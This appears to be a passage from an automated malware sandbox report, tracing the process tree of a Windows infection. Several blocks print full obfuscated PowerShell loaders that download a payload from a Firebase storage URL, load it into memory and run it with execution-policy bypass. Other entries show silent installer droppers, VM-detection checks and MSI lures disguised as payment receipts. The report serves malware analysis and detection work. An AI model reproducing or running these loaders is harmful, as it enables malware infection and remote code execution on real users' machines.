'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps17⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Barchart.exeBarchart.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-JHHZX3MF5I.tmp\Barchart.tmp"C:\Users\Admin\AppData\Local\Temp\is-JHHZX3MF5I.tmp\Barchart.tmp" /SL5="$103BE,3482063,893440,C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe"C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe" /VERYSILENT /PASSWORD=efecbce3-8f70-4556-a1fc-09d93c397be06⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OF8UFBY2MV.tmp\Barchart.tmp"C:\Users\Admin\AppData\Local\Temp\is-OF8UFBY2MV.tmp\Barchart.tmp" /SL5="$505DE,3482063,893440,C:\Users\Admin\AppData\Local\Temp\a\Barchart.exe" /VERYSILENT /PASSWORD=efecbce3-8f70-4556-a1fc-09d93c397be07⤵
- Loads dropped DLL
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\LOZHyYF.exeLOZHyYF.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\a\LOZHyYF.exe"C:\Users\Admin\AppData\Local\Temp\a\LOZHyYF.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exeMulti-tiered_8865.99.73_INSTALL.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-TGBBB226GH.tmp\Multi-tiered_8865.99.73_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-TGBBB226GH.tmp\Multi-tiered_8865.99.73_INSTALL.tmp" /SL5="$302D2,3482063,893440,C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe"C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe" /VERYSILENT /PASSWORD=efecbce3-8f70-4556-a1fc-09d93c397be06⤵
-
C:\Users\Admin\AppData\Local\Temp\is-07TPIR6LWM.tmp\Multi-tiered_8865.99.73_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-07TPIR6LWM.tmp\Multi-tiered_8865.99.73_INSTALL.tmp" /SL5="$303E6,3482063,893440,C:\Users\Admin\AppData\Local\Temp\a\Multi-tiered_8865.99.73_INSTALL.exe" /VERYSILENT /PASSWORD=efecbce3-8f70-4556-a1fc-09d93c397be07⤵
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe"C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe" -ScanType8⤵
- Checks SCSI registry key(s)
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exezx.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exezx.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\which_browser-0.2.3+41-windows-setup.exewhich_browser-0.2.3+41-windows-setup.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-TP8PH.tmp\which_browser-0.2.3+41-windows-setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-TP8PH.tmp\which_browser-0.2.3+41-windows-setup.tmp" /SL5="$10398,12476209,882176,C:\Users\Admin\AppData\Local\Temp\a\which_browser-0.2.3+41-windows-setup.exe"5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps17⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\C0aADSk.exeC0aADSk.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-BDEE2.tmp\C0aADSk.tmp"C:\Users\Admin\AppData\Local\Temp\is-BDEE2.tmp\C0aADSk.tmp" /SL5="$10360,3628072,56832,C:\Users\Admin\AppData\Local\Temp\a\C0aADSk.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Fast Audio Converter 9.9.29.4221\fastaudioconverter4221.exe"C:\Users\Admin\AppData\Local\Fast Audio Converter 9.9.29.4221\fastaudioconverter4221.exe" -i6⤵
- Badlisted process makes network request
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6.exe6.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-QO4P065JR2.tmp\6.tmp"C:\Users\Admin\AppData\Local\Temp\is-QO4P065JR2.tmp\6.tmp" /SL5="$30340,3902226,836608,C:\Users\Admin\AppData\Local\Temp\a\6.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\a\6.exe"C:\Users\Admin\AppData\Local\Temp\a\6.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d26⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-K8A6L6ZKNN.tmp\6.tmp"C:\Users\Admin\AppData\Local\Temp\is-K8A6L6ZKNN.tmp\6.tmp" /SL5="$50460,3902226,836608,C:\Users\Admin\AppData\Local\Temp\a\6.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d27⤵
- Loads dropped DLL
-
C:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exe"C:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exe" -ScanType8⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\64th%20Services.exe64th%20Services.exe4⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_receipt_12_02_2025.msi4⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Receipt_11_26_2025.msi4⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$andre.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps17⤵
- Badlisted process makes network request
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Va4iu4b.exeVa4iu4b.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
